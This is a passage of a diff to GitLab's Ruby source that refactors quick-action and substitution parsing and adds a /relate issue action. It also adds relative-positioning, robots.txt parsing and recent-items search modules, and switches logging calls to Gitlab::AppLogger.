# It looks something like:
#
# /^\/(?<cmd>close|reopen|...)(?:( |$))(?<arg>[^\/\n]*)(?:\n|$)/
- def commands_regex(names:)
+ def commands_regex(names:, sub_names:)
@commands_regex[names] ||= %r{
- (?<code>
- # Code blocks:
- # ```
- # Anything, including `/cmd arg` which are ignored by this filter
- # ```
-
- ^```
- .+?
- \n```$
- )
- |
- (?<inline_code>
- # Inline code on separate rows:
- # `
- # Anything, including `/cmd arg` which are ignored by this filter
- # `
-
- ^.*`\n*
- .+?
- \n*`$
- )
- |
- (?<html>
- # HTML block:
- # <tag>
- # Anything, including `/cmd arg` which are ignored by this filter
- # </tag>
-
- ^<[^>]+?>\n
- .+?
- \n<\/[^>]+?>$
- )
- |
- (?<html>
- # Quote block:
- # >>>
- # Anything, including `/cmd arg` which are ignored by this filter
- # >>>
-
- ^>>>
- .+?
- \n>>>$
- )
+ #{EXCLUSION_REGEX}
|
(?:
# Command not in a blockquote, blockcode, or HTML tag:
@@ -151,32 +184,19 @@ module Gitlab
)?
(?:\s*\n|$)
)
- }mix
- end
-
- def perform_substitutions(content, commands)
- return unless content
-
- substitution_definitions = self.command_definitions.select do |definition|
- definition.is_a?(Gitlab::QuickActions::SubstitutionDefinition)
- end
-
- substitution_definitions.each do |substitution|
- regex = commands_regex(names: substitution.all_names)
- content = content.gsub(regex) do |text|
- if $~[:cmd]
- command = [substitution.name.to_s]
- command << $~[:arg] if $~[:arg].present?
- commands << command
-
- substitution.perform_substitution(self, text)
- else
- text
- end
- end
- end
+ |
+ (?:
+ # Substitution not in a blockquote, blockcode, or HTML tag:
- [content, commands]
+ ^\/
+ (?<substitution>#{Regexp.new(Regexp.union(sub_names).source, Regexp::IGNORECASE)})
+ (?:
+ [ ]
+ (?<arg>[^\n]*)
+ )?
+ (?:\s*\n|$)
+ )
+ }mix
end
def command_names(limit_to_commands:)
@@ -190,6 +210,17 @@ module Gitlab
command.all_names
end.compact
end
+
+ def substitution_names
+ substitution_definitions.flat_map { |command| command.all_names }
+ .compact
+ end
+
+ def substitution_definitions
+ @substition_definitions ||= command_definitions.select do |command|
+ command.is_a?(Gitlab::QuickActions::SubstitutionDefinition)
+ end
+ end
end
end
end
diff --git a/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb b/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
index aff3ed53734..6607c73a5c3 100644
--- a/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
+++ b/lib/gitlab/quick_actions/issue_and_merge_request_actions.rb
@@ -91,6 +91,7 @@ module Gitlab
params '%"milestone"'
types Issue, MergeRequest
condition do
+ quick_action_target.supports_milestone? &&
current_user.can?(:"admin_#{quick_action_target.to_ability_name}", project) &&
find_milestones(project, state: 'active').any?
end
@@ -113,6 +114,7 @@ module Gitlab
condition do
quick_action_target.persisted? &&
quick_action_target.milestone_id? &&
+ quick_action_target.supports_milestone? &&
current_user.can?(:"admin_#{quick_action_target.to_ability_name}", project)
end
command :remove_milestone do
diff --git a/lib/gitlab/quick_actions/relate_actions.rb b/lib/gitlab/quick_actions/relate_actions.rb
new file mode 100644
index 00000000000..95f71214667
--- /dev/null
+++ b/lib/gitlab/quick_actions/relate_actions.rb
@@ -0,0 +1,29 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module QuickActions
+ module RelateActions
+ extend ActiveSupport::Concern
+ include ::Gitlab::QuickActions::Dsl
+
+ included do
+ desc _('Mark this issue as related to another issue')
+ explanation do |related_reference|
+ _('Marks this issue as related to %{issue_ref}.') % { issue_ref: related_reference }
+ end
+ execution_message do |related_reference|
+ _('Marked this issue as related to %{issue_ref}.') % { issue_ref: related_reference }
+ end
+ params '#issue'
+ types Issue
+ condition do
+ quick_action_target.persisted? &&
+ current_user.can?(:"update_#{quick_action_target.to_ability_name}", quick_action_target)
+ end
+ command :relate do |related_param|
+ IssueLinks::CreateService.new(quick_action_target, current_user, { issuable_references: [related_param] }).execute
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/quick_actions/substitution_definition.rb b/lib/gitlab/quick_actions/substitution_definition.rb
index cd4d202e8d0..24b4e3c62b3 100644
--- a/lib/gitlab/quick_actions/substitution_definition.rb
+++ b/lib/gitlab/quick_actions/substitution_definition.rb
@@ -9,10 +9,6 @@ module Gitlab
true
end
- def match(content)
- content.match %r{^/#{all_names.join('|')}(?![\S]) ?(.*)$}
- end
-
def perform_substitution(context, content)
return unless content
diff --git a/lib/gitlab/redis/shared_state.rb b/lib/gitlab/redis/shared_state.rb
index 8ab53700932..2848c9f0b59 100644
--- a/lib/gitlab/redis/shared_state.rb
+++ b/lib/gitlab/redis/shared_state.rb
@@ -9,7 +9,7 @@ module Gitlab
SESSION_NAMESPACE = 'session:gitlab'
USER_SESSIONS_NAMESPACE = 'session:user:gitlab'
USER_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:user:gitlab'
- IP_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:ip:gitlab'
+ IP_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:ip:gitlab2'
DEFAULT_REDIS_SHARED_STATE_URL = 'redis://localhost:6382'
REDIS_SHARED_STATE_CONFIG_ENV_VAR_NAME = 'GITLAB_REDIS_SHARED_STATE_CONFIG_FILE'
diff --git a/lib/gitlab/reference_counter.rb b/lib/gitlab/reference_counter.rb
index 5fdfa5e75ed..c2fa2e1330a 100644
--- a/lib/gitlab/reference_counter.rb
+++ b/lib/gitlab/reference_counter.rb
@@ -51,10 +51,8 @@ module Gitlab
redis_cmd do |redis|
current_value = redis.decr(key)
if current_value < 0
- # rubocop:disable Gitlab/RailsLogger
- Rails.logger.warn("Reference counter for #{gl_repository} decreased" \
+ Gitlab::AppLogger.warn("Reference counter for #{gl_repository} decreased" \
" when its value was less than 1. Resetting the counter.")
- # rubocop:enable Gitlab/RailsLogger
redis.del(key)
end
end
@@ -87,7 +85,7 @@ module Gitlab
true
rescue => e
- Rails.logger.warn("GitLab: An unexpected error occurred in writing to Redis: #{e}") # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.warn("GitLab: An unexpected error occurred in writing to Redis: #{e}")
false
end
diff --git a/lib/gitlab/regex.rb b/lib/gitlab/regex.rb
index 2d625737e05..8e23ac6aca5 100644
--- a/lib/gitlab/regex.rb
+++ b/lib/gitlab/regex.rb
@@ -46,6 +46,21 @@ module Gitlab
maven_app_name_regex
end
+ def pypi_version_regex
+ # See the official regex: https://github.com/pypa/packaging/blob/16.7/packaging/version.py#L159
+
+ @pypi_version_regex ||= %r{
+ \A(?:
+ v?
+ (?:([0-9]+)!)? (?# epoch)
+ ([0-9]+(?:\.[0-9]+)*) (?# release segment)
+ ([-_\.]?((a|b|c|rc|alpha|beta|pre|preview))[-_\.]?([0-9]+)?)? (?# pre-release)
+ ((?:-([0-9]+))|(?:[-_\.]?(post|rev|r)[-_\.]?([0-9]+)?))? (?# post release)
+ ([-_\.]?(dev)[-_\.]?([0-9]+)?)? (?# dev release)
+ (?:\+([a-z0-9]+(?:[-_\.][a-z0-9]+)*))? (?# local version)
+ )\z}xi.freeze
+ end
+
def unbounded_semver_regex
# See the official regex: https://semver.org/#is-there-a-suggested-regular-expression-regex-to-check-a-semver-string
@@ -84,6 +99,10 @@ module Gitlab
\b (?# word boundary)
/ix.freeze
end
+
+ def generic_package_version_regex
+ /\A\d+\.\d+\.\d+\z/
+ end
end
extend self
@@ -102,7 +121,11 @@ module Gitlab
end
def group_name_regex
- @group_name_regex ||= /\A[\p{Alnum}\u{00A9}-\u{1f9ff}_][\p{Alnum}\p{Pd}\u{00A9}-\u{1f9ff}_()\. ]*\z/.freeze
+ @group_name_regex ||= /\A#{group_name_regex_chars}\z/.freeze
+ end
+
+ def group_name_regex_chars
+ @group_name_regex_chars ||= /[\p{Alnum}\u{00A9}-\u{1f9ff}_][\p{Alnum}\p{Pd}\u{00A9}-\u{1f9ff}_()\. ]*/.freeze
end
def group_name_regex_message
@@ -269,7 +292,14 @@ module Gitlab
def base64_regex
@base64_regex ||= /(?:[A-Za-z0-9+\/]{4})*(?:[A-Za-z0-9+\/]{2}==|[A-Za-z0-9+\/]{3}=)?/.freeze
end
+
+ def feature_flag_regex
+ /\A[a-z]([-_a-z0-9]*[a-z0-9])?\z/
+ end
+
+ def feature_flag_regex_message
+ "can contain only lowercase letters, digits, '_' and '-'. " \
+ "Must start with a letter, and cannot end with '-' or '_'"
+ end
end
end
-
-Gitlab::Regex.prepend_if_ee('EE::Gitlab::Regex')
diff --git a/lib/gitlab/relative_positioning.rb b/lib/gitlab/relative_positioning.rb
new file mode 100644
index 00000000000..b5a923f0824
--- /dev/null
+++ b/lib/gitlab/relative_positioning.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RelativePositioning
+ STEPS = 10
+ IDEAL_DISTANCE = 2**(STEPS - 1) + 1
+
+ MIN_POSITION = Gitlab::Database::MIN_INT_VALUE
+ START_POSITION = 0
+ MAX_POSITION = Gitlab::Database::MAX_INT_VALUE
+
+ MAX_GAP = IDEAL_DISTANCE * 2
+ MIN_GAP = 2
+
+ NoSpaceLeft = Class.new(StandardError)
+ end
+end
diff --git a/lib/gitlab/relative_positioning/gap.rb b/lib/gitlab/relative_positioning/gap.rb
new file mode 100644
index 00000000000..ab894141a60
--- /dev/null
+++ b/lib/gitlab/relative_positioning/gap.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+#
+module Gitlab
+ module RelativePositioning
+ class Gap
+ attr_reader :start_pos, :end_pos
+
+ def initialize(start_pos, end_pos)
+ @start_pos, @end_pos = start_pos, end_pos
+ end
+
+ def ==(other)
+ other.is_a?(self.class) && other.start_pos == start_pos && other.end_pos == end_pos
+ end
+
+ def delta
+ ((start_pos - end_pos) / 2.0).abs.ceil.clamp(0, RelativePositioning::IDEAL_DISTANCE)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/relative_positioning/item_context.rb b/lib/gitlab/relative_positioning/item_context.rb
new file mode 100644
index 00000000000..cd03a347355
--- /dev/null
+++ b/lib/gitlab/relative_positioning/item_context.rb
@@ -0,0 +1,259 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RelativePositioning
+ # This class is API private - it should not be explicitly instantiated
+ # outside of tests
+ # rubocop: disable CodeReuse/ActiveRecord
+ class ItemContext
+ include Gitlab::Utils::StrongMemoize
+
+ attr_reader :object, :model_class, :range
+ attr_accessor :ignoring
+
+ def initialize(object, range, ignoring: nil)
+ @object = object
+ @range = range
+ @model_class = object.class
+ @ignoring = ignoring
+ end
+
+ def ==(other)
+ other.is_a?(self.class) && other.object == object && other.range == range && other.ignoring == ignoring
+ end
+
+ def positioned?
+ relative_position.present?
+ end
+
+ def min_relative_position
+ strong_memoize(:min_relative_position) { calculate_relative_position('MIN') }
+ end
+
+ def max_relative_position
+ strong_memoize(:max_relative_position) { calculate_relative_position('MAX') }
+ end
+
+ def prev_relative_position
+ calculate_relative_position('MAX') { |r| nextify(r, false) } if object.relative_position
+ end
+
+ def next_relative_position
+ calculate_relative_position('MIN') { |r| nextify(r) } if object.relative_position
+ end
+
+ def nextify(relation, gt = true)
+ if gt
+ relation.where("relative_position > ?", relative_position)
+ else
+ relation.where("relative_position < ?", relative_position)
+ end
+ end
+
+ def relative_siblings(relation = scoped_items)
+ object.exclude_self(relation)
+ end
+
+ # Handles the possibility that the position is already occupied by a sibling
+ def place_at_position(position, lhs)
+ current_occupant = relative_siblings.find_by(relative_position: position)
+
+ if current_occupant.present?
+ Mover.new(position, range).move(object, lhs.object, current_occupant)
+ else
+ object.relative_position = position
+ end
+ end
+
+ def lhs_neighbour
+ scoped_items
+ .where('relative_position < ?', relative_position)
+ .reorder(relative_position: :desc)
+ .first
+ .then { |x| neighbour(x) }
+ end
+
+ def rhs_neighbour
+ scoped_items
+ .where('relative_position > ?', relative_position)
+ .reorder(relative_position: :asc)
+ .first
+ .then { |x| neighbour(x) }
+ end
+
+ def neighbour(item)
+ return unless item.present?
+
+ self.class.new(item, range, ignoring: ignoring)
+ end
+
+ def scoped_items
+ r = model_class.relative_positioning_query_base(object)
+ r = object.exclude_self(r, excluded: ignoring) if ignoring.present?
+ r
+ end
+
+ def calculate_relative_position(calculation)
+ # When calculating across projects, this is much more efficient than
+ # MAX(relative_position) without the GROUP BY, due to index usage:
+ # https://gitlab.com/gitlab-org/gitlab-foss/issues/54276#note_119340977
+ relation = scoped_items
+ .order(Gitlab::Database.nulls_last_order('position', 'DESC'))
+ .group(grouping_column)
+ .limit(1)
+
+ relation = yield relation if block_given?
+
+ relation
+ .pluck(grouping_column, Arel.sql("#{calculation}(relative_position) AS position"))
+ .first&.last
+ end
+
+ def grouping_column
+ model_class.relative_positioning_parent_column
+ end
+
+ def max_sibling
+ sib = relative_siblings
+ .order(Gitlab::Database.nulls_last_order('relative_position', 'DESC'))
+ .first
+
+ neighbour(sib)
+ end
+
+ def min_sibling
+ sib = relative_siblings
+ .order(Gitlab::Database.nulls_last_order('relative_position', 'ASC'))
+ .first
+
+ neighbour(sib)
+ end
+
+ def shift_left
+ move_sequence_before(true)
+ object.reset
+ end
+
+ def shift_right
+ move_sequence_after(true)
+ object.reset
+ end
+
+ def create_space_left
+ find_next_gap_before.tap { |gap| move_sequence_before(false, next_gap: gap) }
+ end
+
+ def create_space_right
+ find_next_gap_after.tap { |gap| move_sequence_after(false, next_gap: gap) }
+ end
+
+ def find_next_gap_before
+ items_with_next_pos = scoped_items
+ .select('relative_position AS pos, LEAD(relative_position) OVER (ORDER BY relative_position DESC) AS next_pos')
+ .where('relative_position <= ?', relative_position)
+ .order(relative_position: :desc)
+
+ find_next_gap(items_with_next_pos, range.first)
+ end
+
+ def find_next_gap_after
+ items_with_next_pos = scoped_items
+ .select('relative_position AS pos, LEAD(relative_position) OVER (ORDER BY relative_position ASC) AS next_pos')
+ .where('relative_position >= ?', relative_position)
+ .order(:relative_position)
+
+ find_next_gap(items_with_next_pos, range.last)
+ end
+
+ def find_next_gap(items_with_next_pos, default_end)
+ gap = model_class
+ .from(items_with_next_pos, :items)
+ .where('next_pos IS NULL OR ABS(pos::bigint - next_pos::bigint) >= ?', MIN_GAP)
+ .limit(1)
+ .pluck(:pos, :next_pos)
+ .first
+
+ return if gap.nil? || gap.first == default_end
+
+ Gap.new(gap.first, gap.second || default_end)
+ end
+
+ def relative_position
+ object.relative_position
+ end
+
+ private
+
+ # Moves the sequence before the current item to the middle of the next gap
+ # For example, we have
+ #
+ # 5 . . . . . 11 12 13 14 [15] 16 . 17
+ # -----------
+ #
+ # This moves the sequence [11 12 13 14] to [8 9 10 11], so we have:
+ #
+ # 5 . . 8 9 10 11 . . . [15] 16 . 17
+ # ---------
+ #
+ # Creating a gap to the left of the current item. We can understand this as
+ # dividing the 5 spaces between 5 and 11 into two smaller gaps of 2 and 3.
+ #
+ # If `include_self` is true, the current item will also be moved, creating a
+ # gap to the right of the current item:
+ #
+ # 5 . . 8 9 10 11 [14] . . . 16 . 17
+ # --------------
+ #
+ # As an optimization, the gap can be precalculated and passed to this method.
+ #
+ # @api private
+ # @raises NoSpaceLeft if the sequence cannot be moved
+ def move_sequence_before(include_self = false, next_gap: find_next_gap_before)
+ raise NoSpaceLeft unless next_gap.present?
+
+ delta = next_gap.delta
+
+ move_sequence(next_gap.start_pos, relative_position, -delta, include_self)
+ end
+
+ # Moves the sequence after the current item to the middle of the next gap
+ # For example, we have:
+ #
+ # 8 . 10 [11] 12 13 14 15 . . . . . 21
+ # -----------
+ #
+ # This moves the sequence [12 13 14 15] to [15 16 17 18], so we have:
+ #
+ # 8 . 10 [11] . . . 15 16 17 18 . . 21
+ # -----------
+ #
+ # Creating a gap to the right of the current item. We can understand this as
+ # dividing the 5 spaces between 15 and 21 into two smaller gaps of 3 and 2.
+ #
+ # If `include_self` is true, the current item will also be moved, creating a
+ # gap to the left of the current item:
+ #
+ # 8 . 10 . . . [14] 15 16 17 18 . . 21
+ # ----------------
+ #
+ # As an optimization, the gap can be precalculated and passed to this method.
+ #
+ # @api private
+ # @raises NoSpaceLeft if the sequence cannot be moved
+ def move_sequence_after(include_self = false, next_gap: find_next_gap_after)
+ raise NoSpaceLeft unless next_gap.present?
+
+ delta = next_gap.delta
+
+ move_sequence(relative_position, next_gap.start_pos, delta, include_self)
+ end
+
+ def move_sequence(start_pos, end_pos, delta, include_self = false)
+ relation = include_self ? scoped_items : relative_siblings
+
+ object.update_relative_siblings(relation, (start_pos..end_pos), delta)
+ end
+ end
+ # rubocop: enable CodeReuse/ActiveRecord
+ end
+end
diff --git a/lib/gitlab/relative_positioning/mover.rb b/lib/gitlab/relative_positioning/mover.rb
new file mode 100644
index 00000000000..9d891bfbe3b
--- /dev/null
+++ b/lib/gitlab/relative_positioning/mover.rb
@@ -0,0 +1,155 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RelativePositioning
+ class Mover
+ attr_reader :range, :start_position
+
+ def initialize(start, range)
+ @range = range
+ @start_position = start
+ end
+
+ def move_to_end(object)
+ focus = context(object, ignoring: object)
+ max_pos = focus.max_relative_position
+
+ move_to_range_end(focus, max_pos)
+ end
+
+ def move_to_start(object)
+ focus = context(object, ignoring: object)
+ min_pos = focus.min_relative_position
+
+ move_to_range_start(focus, min_pos)
+ end
+
+ def move(object, first, last)
+ raise ArgumentError, 'object is required' unless object
+
+ lhs = context(first, ignoring: object)
+ rhs = context(last, ignoring: object)
+ focus = context(object)
+ range = RelativePositioning.range(lhs, rhs)
+
+ if range.cover?(focus)
+ # Moving a object already within a range is a no-op
+ elsif range.open_on_left?
+ move_to_range_start(focus, range.rhs.relative_position)
+ elsif range.open_on_right?
+ move_to_range_end(focus, range.lhs.relative_position)
+ else
+ pos_left, pos_right = create_space_between(range)
+ desired_position = position_between(pos_left, pos_right)
+ focus.place_at_position(desired_position, range.lhs)
+ end
+ end
+
+ def context(object, ignoring: nil)
+ return unless object
+
+ ItemContext.new(object, range, ignoring: ignoring)
+ end
+
+ private
+
+ def gap_too_small?(pos_a, pos_b)
+ return false unless pos_a && pos_b
+
+ (pos_a - pos_b).abs < MIN_GAP
+ end
+
+ def move_to_range_end(context, max_pos)
+ range_end = range.last + 1
+
+ new_pos = if max_pos.nil?
+ start_position
+ elsif gap_too_small?(max_pos, range_end)
+ max = context.max_sibling
+ max.ignoring = context.object
+ max.shift_left
+ position_between(max.relative_position, range_end)
+ else
+ position_between(max_pos, range_end)
+ end
+
+ context.object.relative_position = new_pos
+ end
+
+ def move_to_range_start(context, min_pos)
+ range_end = range.first - 1
+
+ new_pos = if min_pos.nil?
+ start_position
+ elsif gap_too_small?(min_pos, range_end)
+ sib = context.min_sibling
+ sib.ignoring = context.object
+ sib.shift_right
+ position_between(sib.relative_position, range_end)
+ else
+ position_between(min_pos, range_end)
+ end
+
+ context.object.relative_position = new_pos
+ end
+
+ def create_space_between(range)
+ pos_left = range.lhs&.relative_position
+ pos_right = range.rhs&.relative_position
+
+ return [pos_left, pos_right] unless gap_too_small?(pos_left, pos_right)
+
+ gap = range.rhs.create_space_left
+ [pos_left - gap.delta, pos_right]
+ rescue NoSpaceLeft
+ gap = range.lhs.create_space_right
+ [pos_left, pos_right + gap.delta]
+ end
+
+ # This method takes two integer values (positions) and
+ # calculates the position between them. The range is huge as
+ # the maximum integer value is 2147483647.
+ #
+ # We avoid open ranges by clamping the range to [MIN_POSITION, MAX_POSITION].
+ #
+ # Then we handle one of three cases:
+ # - If the gap is too small, we raise NoSpaceLeft
+ # - If the gap is larger than MAX_GAP, we place the new position at most
+ # IDEAL_DISTANCE from the edge of the gap.
+ # - otherwise we place the new position at the midpoint.
+ #
+ # The new position will always satisfy: pos_before <= midpoint <= pos_after
+ #
+ # As a precondition, the gap between pos_before and pos_after MUST be >= 2.
+ # If the gap is too small, NoSpaceLeft is raised.
+ #
+ # @raises NoSpaceLeft
+ def position_between(pos_before, pos_after)
+ pos_before ||= range.first
+ pos_after ||= range.last
+
+ pos_before, pos_after = [pos_before, pos_after].sort
+
+ gap_width = pos_after - pos_before
+
+ if gap_too_small?(pos_before, pos_after)
+ raise NoSpaceLeft
+ elsif gap_width > MAX_GAP
+ if pos_before <= range.first
+ pos_after - IDEAL_DISTANCE
+ elsif pos_after >= range.last
+ pos_before + IDEAL_DISTANCE
+ else
+ midpoint(pos_before, pos_after)
+ end
+ else
+ midpoint(pos_before, pos_after)
+ end
+ end
+
+ def midpoint(lower_bound, upper_bound)
+ ((lower_bound + upper_bound) / 2.0).ceil.clamp(lower_bound, upper_bound - 1)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/relative_positioning/range.rb b/lib/gitlab/relative_positioning/range.rb
new file mode 100644
index 00000000000..174d5ef4b35
--- /dev/null
+++ b/lib/gitlab/relative_positioning/range.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RelativePositioning
+ IllegalRange = Class.new(ArgumentError)
+
+ class Range
+ attr_reader :lhs, :rhs
+
+ def open_on_left?
+ lhs.nil?
+ end
+
+ def open_on_right?
+ rhs.nil?
+ end
+
+ def cover?(item_context)
+ return false unless item_context
+ return false unless item_context.positioned?
+ return true if item_context.object == lhs&.object
+ return true if item_context.object == rhs&.object
+
+ pos = item_context.relative_position
+
+ return lhs.relative_position < pos if open_on_right?
+ return pos < rhs.relative_position if open_on_left?
+
+ lhs.relative_position < pos && pos < rhs.relative_position
+ end
+
+ def ==(other)
+ other.is_a?(RelativePositioning::Range) && lhs == other.lhs && rhs == other.rhs
+ end
+ end
+
+ def self.range(lhs, rhs)
+ if lhs && rhs
+ ClosedRange.new(lhs, rhs)
+ elsif lhs
+ StartingFrom.new(lhs)
+ elsif rhs
+ EndingAt.new(rhs)
+ else
+ raise IllegalRange, 'One of rhs or lhs must be provided' unless lhs && rhs
+ end
+ end
+
+ class ClosedRange < RelativePositioning::Range
+ def initialize(lhs, rhs)
+ @lhs, @rhs = lhs, rhs
+ raise IllegalRange, 'Either lhs or rhs is missing' unless lhs && rhs
+ raise IllegalRange, 'lhs and rhs cannot be the same object' if lhs == rhs
+ end
+ end
+
+ class StartingFrom < RelativePositioning::Range
+ include Gitlab::Utils::StrongMemoize
+
+ def initialize(lhs)
+ @lhs = lhs
+ raise IllegalRange, 'lhs is required' unless lhs
+ end
+
+ def rhs
+ strong_memoize(:rhs) { lhs.rhs_neighbour }
+ end
+ end
+
+ class EndingAt < RelativePositioning::Range
+ include Gitlab::Utils::StrongMemoize
+
+ def initialize(rhs)
+ @rhs = rhs
+ raise IllegalRange, 'rhs is required' unless rhs
+ end
+
+ def lhs
+ strong_memoize(:lhs) { rhs.lhs_neighbour }
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/repository_cache_adapter.rb b/lib/gitlab/repository_cache_adapter.rb
index f6a5c6ed754..eb7c9bccf96 100644
--- a/lib/gitlab/repository_cache_adapter.rb
+++ b/lib/gitlab/repository_cache_adapter.rb
@@ -218,7 +218,7 @@ module Gitlab
def expire_method_caches(methods)
methods.each do |name|
unless cached_methods.include?(name.to_sym)
- Rails.logger.error "Requested to expire non-existent method '#{name}' for Repository" # rubocop:disable Gitlab/RailsLogger
+ Gitlab::AppLogger.error "Requested to expire non-existent method '#{name}' for Repository"
next
end
diff --git a/lib/gitlab/repository_set_cache.rb b/lib/gitlab/repository_set_cache.rb
index 1e2d86b7ad2..69c1688767c 100644
--- a/lib/gitlab/repository_set_cache.rb
+++ b/lib/gitlab/repository_set_cache.rb
@@ -22,7 +22,7 @@ module Gitlab
with do |redis|
redis.multi do
- redis.del(full_key)
+ redis.unlink(full_key)
# Splitting into groups of 1000 prevents us from creating a too-long
# Redis command
diff --git a/lib/gitlab/request_profiler.rb b/lib/gitlab/request_profiler.rb
index dd1482da40d..541d505e735 100644
--- a/lib/gitlab/request_profiler.rb
+++ b/lib/gitlab/request_profiler.rb
@@ -11,7 +11,7 @@ module Gitlab
Profile.new(File.basename(path))
end.select(&:valid?)
end
- module_function :all
+ module_function :all # rubocop: disable Style/AccessModifierDeclarations
def find(name)
file_path = File.join(PROFILES_DIR, name)
@@ -19,18 +19,18 @@ module Gitlab
Profile.new(name)
end
- module_function :find
+ module_function :find # rubocop: disable Style/AccessModifierDeclarations
def profile_token
Rails.cache.fetch('profile-token') do
Devise.friendly_token
end
end
- module_function :profile_token
+ module_function :profile_token # rubocop: disable Style/AccessModifierDeclarations
def remove_all_profiles
FileUtils.rm_rf(PROFILES_DIR)
end
- module_function :remove_all_profiles
+ module_function :remove_all_profiles # rubocop: disable Style/AccessModifierDeclarations
end
end
diff --git a/lib/gitlab/robots_txt.rb b/lib/gitlab/robots_txt.rb
new file mode 100644
index 00000000000..2f395548770
--- /dev/null
+++ b/lib/gitlab/robots_txt.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RobotsTxt
+ def self.disallowed?(path)
+ parsed_robots_txt.disallowed?(path)
+ end
+
+ def self.parsed_robots_txt
+ @parsed_robots_txt ||= Parser.new(robots_txt)
+ end
+
+ def self.robots_txt
+ File.read(Rails.root.join('public', 'robots.txt'))
+ end
+ end
+end
diff --git a/lib/gitlab/robots_txt/parser.rb b/lib/gitlab/robots_txt/parser.rb
new file mode 100644
index 00000000000..b9a3837e468
--- /dev/null
+++ b/lib/gitlab/robots_txt/parser.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RobotsTxt
+ class Parser
+ attr_reader :disallow_rules
+
+ def initialize(content)
+ @raw_content = content
+
+ @disallow_rules = parse_raw_content!
+ end
+
+ def disallowed?(path)
+ disallow_rules.any? { |rule| path =~ rule }
+ end
+
+ private
+
+ # This parser is very basic as it only knows about `Disallow:` lines,
+ # and simply ignores all other lines.
+ #
+ # Order of predecence, 'Allow:`, etc are ignored for now.
+ def parse_raw_content!
+ @raw_content.each_line.map do |line|
+ if line.start_with?('Disallow:')
+ value = line.sub('Disallow:', '').strip
+ value = Regexp.escape(value).gsub('\*', '.*')
+ Regexp.new("^#{value}")
+ else
+ nil
+ end
+ end.compact
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/sanitizers/exif.rb b/lib/gitlab/sanitizers/exif.rb
index 7e22bf4d7df..78c517c49d8 100644
--- a/lib/gitlab/sanitizers/exif.rb
+++ b/lib/gitlab/sanitizers/exif.rb
@@ -48,7 +48,7 @@ module Gitlab
attr_reader :logger
- def initialize(logger: Rails.logger) # rubocop:disable Gitlab/RailsLogger
+ def initialize(logger: Gitlab::AppLogger)
@logger = logger
end
diff --git a/lib/gitlab/search/recent_issues.rb b/lib/gitlab/search/recent_issues.rb
new file mode 100644
index 00000000000..413218da64d
--- /dev/null
+++ b/lib/gitlab/search/recent_issues.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ class RecentIssues < RecentItems
+ private
+
+ def type
+ Issue
+ end
+
+ def finder
+ IssuesFinder
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search/recent_items.rb b/lib/gitlab/search/recent_items.rb
new file mode 100644
index 00000000000..40d96ded275
--- /dev/null
+++ b/lib/gitlab/search/recent_items.rb
@@ -0,0 +1,59 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ # This is an abstract class used for storing/searching recently viewed
+ # items. The #type and #finder methods are the only ones needed to be
+ # implemented by classes inheriting from this.
+ class RecentItems
+ ITEMS_LIMIT = 100
+ EXPIRES_AFTER = 7.days
+
+ def initialize(user:, items_limit: ITEMS_LIMIT, expires_after: EXPIRES_AFTER)
+ @user = user
+ @items_limit = items_limit
+ @expires_after = expires_after
+ end
+
+ def log_view(item)
+ with_redis do |redis|
+ redis.zadd(key, Time.now.to_f, item.id)
+ redis.expire(key, @expires_after)
+
+ # There is a race condition here where we could end up removing an
+ # item from 2 places concurrently but this is fine since worst case
+ # scenario we remove an extra item from the end of the list.
+ if redis.zcard(key) > @items_limit
+ redis.zremrangebyrank(key, 0, 0) # Remove least recent
+ end
+ end
+ end
+
+ def search(term)
+ ids = with_redis do |redis|
+ redis.zrevrange(key, 0, @items_limit - 1)
+ end.map(&:to_i)
+
+ finder.new(@user, search: term, in: 'title').execute.reorder(nil).id_in_ordered(ids) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ private
+
+ def with_redis(&blk)
+ Gitlab::Redis::SharedState.with(&blk) # rubocop: disable CodeReuse/ActiveRecord
+ end
+
+ def key
+ "recent_items:#{type.name.downcase}:#{@user.id}"
+ end
+
+ def type
+ raise NotImplementedError
+ end
+
+ def finder
+ raise NotImplementedError
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search/recent_merge_requests.rb b/lib/gitlab/search/recent_merge_requests.rb
new file mode 100644
index 00000000000..7b14e3b33e5
--- /dev/null
+++ b/lib/gitlab/search/recent_merge_requests.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ class RecentMergeRequests < RecentItems
+ private
+
+ def type
+ MergeRequest
+ end
+
+ def finder
+ MergeRequestsFinder
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search_results.rb b/lib/gitlab/search_results.rb
index 3d5f64ce05b..06d8dca2f70 100644
--- a/lib/gitlab/search_results.rb
+++ b/lib/gitlab/search_results.rb
@@ -7,7 +7,7 @@ module Gitlab
DEFAULT_PAGE = 1
DEFAULT_PER_PAGE = 20
- attr_reader :current_user, :query
+ attr_reader :current_user, :query, :filters
# Limit search results by passed projects
# It allows us to search only for projects user has access to
@@ -19,11 +19,12 @@ module Gitlab
# query
attr_reader :default_project_filter
- def initialize(current_user, limit_projects, query, default_project_filter: false)
+ def initialize(current_user, query, limit_projects = nil, default_project_filter: false, filters: {})
@current_user = current_user
